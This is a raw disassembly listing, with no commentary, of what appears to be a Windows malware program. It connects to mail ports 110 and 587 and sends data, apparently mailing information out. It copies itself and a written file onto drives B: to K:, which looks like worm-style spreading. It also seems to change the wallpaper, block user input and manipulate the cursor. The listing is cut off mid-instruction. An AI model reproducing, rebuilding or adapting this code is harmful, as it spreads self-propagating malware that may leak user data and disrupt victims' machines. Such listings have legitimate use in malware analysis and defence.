mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aee4
lea eax, [ebp - 0x2f4]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x2f4]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
push 0x13158974
lea eax, [ebp - 0x2f8]
call fcn.1314d360
push dword [ebp - 0x2f8]
push 0x13158714
push 0x1315898c
lea eax, [ebp - 0x2fc]
call fcn.1314d438
push dword [ebp - 0x2fc]
mov eax, 0x1315ae64
mov edx, 5
call fcn.131447ac
call fcn.1314e92c
mov eax, dword [0x1315ae64]
call fcn.131446ec
mov dword [0x1315ae4c], eax
call fcn.1314e92c
lea eax, [ebp - 0x300]
call fcn.13149928
mov edx, dword [ebp - 0x300]
mov eax, 0x1315ae68
call fcn.131444c0
call fcn.1314e92c
mov eax, dword [0x1315ae68]
call fcn.131446ec
mov edi, eax
call fcn.1314e92c
push 0x1315ab28
mov dl, 1
mov al, 1
call fcn.13145a58
push eax
call sub.wsock32.dll_WSAStartup
test eax, eax
call fcn.1314e92c
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
call fcn.1314e92c
cmp esi, 0xffffffff
call fcn.1314e92c
push 0
call sub.wsock32.dll_htonl
mov dword [0x1315accc], eax
call fcn.1314e92c
mov word [0x1315acc8], 2
call fcn.1314e92c
push 0x6e
call sub.wsock32.dll_htons
mov word [0x1315acca], ax
call fcn.1314e92c
mov eax, 0x131589a0
call fcn.1314b970
mov dword [0x1315accc], eax
call fcn.1314e92c
push 0x10
push 0x1315acc8
push esi
call sub.wsock32.dll_connect
inc eax
call fcn.1314e92c
mov eax, esi
call fcn.1314bc04
call fcn.1314e92c
mov edx, 0x131589b4
mov eax, esi
call fcn.1314bb48
call fcn.1314e92c
mov eax, esi
call fcn.1314bc04
call fcn.1314e92c
mov edx, 0x131589c8
mov eax, esi
call fcn.1314bb48
call fcn.1314e92c
mov eax, esi
call fcn.1314bc04
call fcn.1314e92c
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
call fcn.1314e92c
cmp ebx, 0xffffffff
call fcn.1314e92c
push 0
call sub.wsock32.dll_htonl
mov dword [0x1315acbc], eax
call fcn.1314e92c
mov word [0x1315acb8], 2
call fcn.1314e92c
push 0x24b
call sub.wsock32.dll_htons
mov word [0x1315acba], ax
call fcn.1314e92c
mov eax, 0x131589dc
call fcn.1314b970
mov dword [0x1315acbc], eax
call fcn.1314e92c
push 0x10
push 0x1315acb8
push ebx
call sub.wsock32.dll_connect
inc eax
call fcn.1314e92c
push 0x64
call sub.kernel32.dll_Sleep
call fcn.1314e92c
mov eax, ebx
call fcn.1314bc04
call fcn.1314e92c
push 0x64
call sub.kernel32.dll_Sleep
call fcn.1314e92c
lea eax, [ebp - 0x308]
call fcn.1314bb10
mov ecx, dword [ebp - 0x308]
lea eax, [ebp - 0x304]
mov edx, 0x131589f4
call fcn.13144738
mov edx, dword [ebp - 0x304]
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
mov eax, ebx
call fcn.1314bc04
call fcn.1314e92c
mov edx, 0x13158a04
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
mov eax, ebx
call fcn.1314bc04
call fcn.1314e92c
push 0x13158a28
push dword [0x1315aee4]
push 0x13158a3c
lea eax, [ebp - 0x30c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x30c]
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
mov eax, ebx
call fcn.1314bc04
call fcn.1314e92c
mov edx, 0x13158a48
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
push 0x3e8
call sub.kernel32.dll_Sleep
call fcn.1314e92c
mov eax, ebx
call fcn.1314bc04
call fcn.1314e92c
mov edx, 0x13158a58
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
push 0x13158a78
push dword [0x1315aee4]
push 0x13158a3c
lea eax, [ebp - 0x310]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x310]
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
push 0x13158a88
lea eax, [ebp - 0x318]
call fcn.1314bb10
push dword [ebp - 0x318]
push 0x13158714
lea eax, [ebp - 0x314]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x314]
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
cmp edi, 0x82
jg 0x13154d63
push 0x13158a9c
push dword [0x1315ae68]
push 0x13158714
push 0x13158ab4
push 0x13158ac8
push 0x13158714
push dword [0x1315ae64]
lea eax, [ebp - 0x320]
mov edx, 7
call fcn.131447ac
mov eax, dword [ebp - 0x320]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x31c]
call fcn.13144648
lea eax, [ebp - 0x31c]
mov edx, 0x13158714
call fcn.131446f4
mov edx, dword [ebp - 0x31c]
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
jmp 0x13154dea
push 0x13158a9c
lea eax, [ebp - 0x32c]
push eax
mov ecx, 0x6e
xor edx, edx
mov eax, dword [0x1315ae68]
call fcn.1314494c
push dword [ebp - 0x32c]
push 0x13158714
push 0x13158ab4
push 0x13158ac8
push 0x13158714
push dword [0x1315ae64]
lea eax, [ebp - 0x328]
mov edx, 7
call fcn.131447ac
mov eax, dword [ebp - 0x328]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x324]
call fcn.13144648
lea eax, [ebp - 0x324]
mov edx, 0x13158714
call fcn.131446f4
mov edx, dword [ebp - 0x324]
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
call fcn.1314e92c
mov edx, 0x13158ae0
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
mov eax, ebx
call fcn.1314bc04
call fcn.1314e92c
mov edx, 0x13158aec
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
mov edx, 0x13158aec
mov eax, esi
call fcn.1314bb48
call fcn.1314e92c
mov eax, esi
call fcn.1314bc04
call fcn.1314e92c
push esi
call sub.wsock32.dll_closesocket
call fcn.1314e92c
push ebx
call sub.wsock32.dll_closesocket
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13154e64
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315ae84]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13155de0
mov eax, 0x13158afc
call fcn.1314e874
test al, al
je 0x13154f20
mov eax, 0x13158b08
call fcn.1314be30
test al, al
jne 0x13154f1b
push 0
push 0x13158b20
push dword [0x1315ae70]
push 0x13158b2c
lea eax, [ebp - 0x330]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x330]
call fcn.131448ec
push eax
lea edx, [ebp - 0x33c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x33c]
lea eax, [ebp - 0x338]
mov edx, 0x13158b3c
call fcn.13144738
mov eax, dword [ebp - 0x338]
lea edx, [ebp - 0x334]
call fcn.1314c4a8
mov eax, dword [ebp - 0x334]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315ace0
mov edx, 0x1315acd8
mov al, 0x42
call fcn.1314e948
test al, al
je 0x131550c3
cmp dword [0x1315ace4], 1
jne 0x13154f59
cmp dword [0x1315ace0], 0xdcdb321e
ja 0x131550be
jmp 0x13154f5f
jg 0x131550be
mov eax, 0x13158b50
call fcn.1314be30
test al, al
jne 0x131550b9
push 0x13158b68
push dword [0x1315ae70]
push 0x13158714
push 0x13158ba4
mov eax, 0x1315ae1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158bc0
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315ae38
mov eax, dword [0x1315ae1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315ae1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158bd0
lea edx, [ebp - 0x348]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x348]
lea eax, [ebp - 0x344]
mov edx, 0x13158b3c
call fcn.13144738
mov eax, dword [ebp - 0x344]
lea edx, [ebp - 0x340]
call fcn.1314c4a8
mov eax, dword [ebp - 0x340]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x13158590
push dword [0x1315ae70]
push 0x13158b2c
lea eax, [ebp - 0x34c]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x34c]
call fcn.131448ec
push eax
lea edx, [ebp - 0x358]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x358]
lea eax, [ebp - 0x354]
mov edx, 0x13158be8
call fcn.13144738
mov eax, dword [ebp - 0x354]
lea edx, [ebp - 0x350]
call fcn.1314c4a8
mov eax, dword [ebp - 0x350]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315ace0
mov edx, 0x1315acd8
mov al, 0x43
call fcn.1314e948
test al, al
je 0x13155266
cmp dword [0x1315ace4], 1
jne 0x131550fc
cmp dword [0x1315ace0], 0xdcdb321e
ja 0x13155261
jmp 0x13155102
jg 0x13155261
mov eax, 0x13158bf8
call fcn.1314be30
test al, al
jne 0x1315525c
push 0x13158b68
push dword [0x1315ae70]
push 0x13158714
push 0x13158ba4
mov eax, 0x1315ae1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158c08
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315ae38
mov eax, dword [0x1315ae1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315ae1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158c18
lea edx, [ebp - 0x364]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x364]
lea eax, [ebp - 0x360]
mov edx, 0x13158b3c
call fcn.13144738
mov eax, dword [ebp - 0x360]
lea edx, [ebp - 0x35c]
call fcn.1314c4a8
mov eax, dword [ebp - 0x35c]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x13158c30
push dword [0x1315ae70]
push 0x13158b2c
lea eax, [ebp - 0x368]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x368]
call fcn.131448ec
push eax
lea edx, [ebp - 0x374]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x374]
lea eax, [ebp - 0x370]
mov edx, 0x13158958
call fcn.13144738
mov eax, dword [ebp - 0x370]
lea edx, [ebp - 0x36c]
call fcn.1314c4a8
mov eax, dword [ebp - 0x36c]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315ace0
mov edx, 0x1315acd8
mov al, 0x44
call fcn.1314e948
test al, al
je 0x13155409
cmp dword [0x1315ace4], 1
jne 0x1315529f
cmp dword [0x1315ace0], 0xdcdb321e
ja 0x13155404
jmp 0x131552a5
jg 0x13155404
mov eax, 0x13158c3c
call fcn.1314be30
test al, al
jne 0x131553ff
push 0x13158b68
push dword [0x1315ae70]
push 0x13158714
push 0x13158ba4
mov eax, 0x1315ae1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158c4c
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315ae38
mov eax, dword [0x1315ae1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315ae1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158c5c
lea edx, [ebp - 0x380]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x380]
lea eax, [ebp - 0x37c]
mov edx, 0x13158b3c
call fcn.13144738
mov eax, dword [ebp - 0x37c]
lea edx, [ebp - 0x378]
call fcn.1314c4a8
mov eax, dword [ebp - 0x378]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x1315859c
push dword [0x1315ae70]
push 0x13158b2c
lea eax, [ebp - 0x384]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x384]
call fcn.131448ec
push eax
lea edx, [ebp - 0x390]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x390]
lea eax, [ebp - 0x38c]
mov edx, 0x13158958
call fcn.13144738
mov eax, dword [ebp - 0x38c]
lea edx, [ebp - 0x388]
call fcn.1314c4a8
mov eax, dword [ebp - 0x388]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315ace0
mov edx, 0x1315acd8
mov al, 0x45
call fcn.1314e948
test al, al
je 0x131555ac
cmp dword [0x1315ace4], 1
jne 0x13155442
cmp dword [0x1315ace0], 0xdcdb321e
ja 0x131555a7
jmp 0x13155448
jg 0x131555a7
mov eax, 0x13158c74
call fcn.1314be30
test al, al
jne 0x131555a2
push 0x13158b68
push dword [0x1315ae70]
push 0x13158714
push 0x13158ba4
mov eax, 0x1315ae1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158c84
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315ae38
mov eax, dword [0x1315ae1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315ae1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158c94
lea edx, [ebp - 0x39c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x39c]
lea eax, [ebp - 0x398]
mov edx, 0x13158b3c
call fcn.13144738
mov eax, dword [ebp - 0x398]
lea edx, [ebp - 0x394]
call fcn.1314c4a8
mov eax, dword [ebp - 0x394]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x131585a8
push dword [0x1315ae70]
push 0x13158b2c
lea eax, [ebp - 0x3a0]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x3a0]
call fcn.131448ec
push eax
lea edx, [ebp - 0x3ac]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x3ac]
lea eax, [ebp - 0x3a8]
mov edx, 0x13158be8
call fcn.13144738
mov eax, dword [ebp - 0x3a8]
lea edx, [ebp - 0x3a4]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3a4]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315ace0
mov edx, 0x1315acd8
mov al, 0x46
call fcn.1314e948
test al, al
je 0x1315574f
cmp dword [0x1315ace4], 1
jne 0x131555e5
cmp dword [0x1315ace0], 0xdcdb321e
ja 0x1315574a
jmp 0x131555eb
jg 0x1315574a
mov eax, 0x13158cac
call fcn.1314be30
test al, al
jne 0x13155745
push 0x13158b68
push dword [0x1315ae70]
push 0x13158714
push 0x13158ba4
mov eax, 0x1315ae1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158cbc
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315ae38
mov eax, dword [0x1315ae1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315ae1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158ccc
lea edx, [ebp - 0x3b8]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x3b8]
lea eax, [ebp - 0x3b4]
mov edx, 0x13158b3c
call fcn.13144738
mov eax, dword [ebp - 0x3b4]
lea edx, [ebp - 0x3b0]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3b0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x131585b4
push dword [0x1315ae70]
push 0x13158b2c
lea eax, [ebp - 0x3bc]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x3bc]
call fcn.131448ec
push eax
lea edx, [ebp - 0x3c8]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x3c8]
lea eax, [ebp - 0x3c4]
mov edx, 0x13158be8
call fcn.13144738
mov eax, dword [ebp - 0x3c4]
lea edx, [ebp - 0x3c0]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3c0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315ace0
mov edx, 0x1315acd8
mov al, 0x47
call fcn.1314e948
test al, al
je 0x131558f2
cmp dword [0x1315ace4], 1
jne 0x13155788
cmp dword [0x1315ace0], 0xdcdb321e
ja 0x131558ed
jmp 0x1315578e
jg 0x131558ed
mov eax, 0x13158ce4
call fcn.1314be30
test al, al
jne 0x131558e8
push 0x13158b68
push dword [0x1315ae70]
push 0x13158714
push 0x13158ba4
mov eax, 0x1315ae1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158cf4
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315ae38
mov eax, dword [0x1315ae1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315ae1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158d04
lea edx, [ebp - 0x3d4]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x3d4]
lea eax, [ebp - 0x3d0]
mov edx, 0x13158b3c
call fcn.13144738
mov eax, dword [ebp - 0x3d0]
lea edx, [ebp - 0x3cc]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3cc]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x131585c0
push dword [0x1315ae70]
push 0x13158b2c
lea eax, [ebp - 0x3d8]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x3d8]
call fcn.131448ec
push eax
lea edx, [ebp - 0x3e4]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x3e4]
lea eax, [ebp - 0x3e0]
mov edx, 0x13158be8
call fcn.13144738
mov eax, dword [ebp - 0x3e0]
lea edx, [ebp - 0x3dc]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3dc]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315ace0
mov edx, 0x1315acd8
mov al, 0x48
call fcn.1314e948
test al, al
je 0x13155a95
cmp dword [0x1315ace4], 1
jne 0x1315592b
cmp dword [0x1315ace0], 0xdcdb321e
ja 0x13155a90
jmp 0x13155931
jg 0x13155a90
mov eax, 0x13158d1c
call fcn.1314be30
test al, al
jne 0x13155a8b
push 0x13158b68
push dword [0x1315ae70]
push 0x13158714
push 0x13158ba4
mov eax, 0x1315ae1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158d2c
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315ae38
mov eax, dword [0x1315ae1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315ae1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158d3c
lea edx, [ebp - 0x3f0]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x3f0]
lea eax, [ebp - 0x3ec]
mov edx, 0x13158b3c
call fcn.13144738
mov eax, dword [ebp - 0x3ec]
lea edx, [ebp - 0x3e8]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3e8]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x131585cc
push dword [0x1315ae70]
push 0x13158b2c
lea eax, [ebp - 0x3f4]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x3f4]
call fcn.131448ec
push eax
lea edx, [ebp - 0x400]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x400]
lea eax, [ebp - 0x3fc]
mov edx, 0x13158be8
call fcn.13144738
mov eax, dword [ebp - 0x3fc]
lea edx, [ebp - 0x3f8]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3f8]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315ace0
mov edx, 0x1315acd8
mov al, 0x4a
call fcn.1314e948
test al, al
je 0x13155c38
cmp dword [0x1315ace4], 1
jne 0x13155ace
cmp dword [0x1315ace0], 0xdcdb321e
ja 0x13155c33
jmp 0x13155ad4
jg 0x13155c33
mov eax, 0x13158d54
call fcn.1314be30
test al, al
jne 0x13155c2e
push 0x13158b68
push dword [0x1315ae70]
push 0x13158714
push 0x13158ba4
mov eax, 0x1315ae1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158d64
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315ae38
mov eax, dword [0x1315ae1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315ae1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158d74
lea edx, [ebp - 0x40c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x40c]
lea eax, [ebp - 0x408]
mov edx, 0x13158b3c
call fcn.13144738
mov eax, dword [ebp - 0x408]
lea edx, [ebp - 0x404]
call fcn.1314c4a8
mov eax, dword [ebp - 0x404]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x131585d8
push dword [0x1315ae70]
push 0x13158b2c
lea eax, [ebp - 0x410]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x410]
call fcn.131448ec
push eax
lea edx, [ebp - 0x41c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x41c]
lea eax, [ebp - 0x418]
mov edx, 0x13158be8
call fcn.13144738
mov eax, dword [ebp - 0x418]
lea edx, [ebp - 0x414]
call fcn.1314c4a8
mov eax, dword [ebp - 0x414]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315ace0
mov edx, 0x1315acd8
mov al, 0x4b
call fcn.1314e948
test al, al
je 0x13155ddb
cmp dword [0x1315ace4], 1
jne 0x13155c71
cmp dword [0x1315ace0], 0xdcdb321e
ja 0x13155dd6
jmp 0x13155c77
jg 0x13155dd6
mov eax, 0x13158d8c
call fcn.1314be30
test al, al
jne 0x13155dd1
push 0x13158b68
push dword [0x1315ae70]
push 0x13158714
push 0x13158ba4
mov eax, 0x1315ae1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158d9c
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315ae38
mov eax, dword [0x1315ae1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315ae1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158dac
lea edx, [ebp - 0x428]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x428]
lea eax, [ebp - 0x424]
mov edx, 0x13158b3c
call fcn.13144738
mov eax, dword [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.1314c4a8
mov eax, dword [ebp - 0x420]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x13158dc4
push dword [0x1315ae70]
push 0x13158b2c
lea eax, [ebp - 0x42c]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x42c]
call fcn.131448ec
push eax
lea edx, [ebp - 0x438]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x438]
lea eax, [ebp - 0x434]
mov edx, 0x13158be8
call fcn.13144738
mov eax, dword [ebp - 0x434]
lea edx, [ebp - 0x430]
call fcn.1314c4a8
mov eax, dword [ebp - 0x430]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aed0]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13155f52
push 0x101
push 0x1315ace8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315adec], 0x1315ace8
call fcn.1314e92c
mov eax, 0x1315ae00
mov edx, dword [0x1315adec]
call fcn.13144648
call fcn.1314e92c
lea eax, [ebp - 0x43c]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315ae00]
call fcn.1314494c
push dword [ebp - 0x43c]
push dword [0x1315ae6c]
push 0x13158dd0
mov eax, 0x1315ae28
mov edx, 3
call fcn.131447ac
call fcn.1314e92c
lea eax, [ebp - 0x444]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315ae00]
call fcn.1314494c
push dword [ebp - 0x444]
push dword [0x1315ae6c]
push 0x13158dd0
lea eax, [ebp - 0x440]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x440]
call fcn.13146abc
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13155f43
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x44c]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315ae00]
call fcn.1314494c
push dword [ebp - 0x44c]
push dword [0x1315ae6c]
push 0x13158dd0
lea eax, [ebp - 0x448]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x448]
call fcn.1314be64
call fcn.1314e92c
push 0x1f4
call sub.kernel32.dll_Sleep
call fcn.1314e92c
push 1
mov eax, dword [0x1315ae28]
call fcn.131448ec
push eax
push 0
push 0x14
call sub.user32.dll_SystemParametersInfoA
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13155f4d
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aeb0]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13155f9b
xor eax, eax
push ebp
push 0x13155f8c
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
call fcn.1314e7d8
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13155f96
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aeac]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13155fe2
xor eax, eax
push ebp
push 0x13155fd3
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.1314c278
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13155fdd
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aeb4]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13156011
call sub.kernel32.dll_GetCurrentProcess
push eax
push 0
push 0
push 0x13158dd8
call sub.winmm.dll_mciSendStringA
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315ae88]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13156033
push 1
call sub.USER32.DLL_BlockInput
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315ae90]
mov edx, 0x13156a20
call fcn.13144838
jne 0x131560c5
push 0x1315adf0
call sub.user32.dll_GetCursorPos
call fcn.1314e92c
mov esi, 1
push 0x1315adf0
call sub.user32.dll_GetCursorPos
call fcn.1314e92c
call fcn.13142ca4
call fcn.1314e92c
mov eax, 0x15e
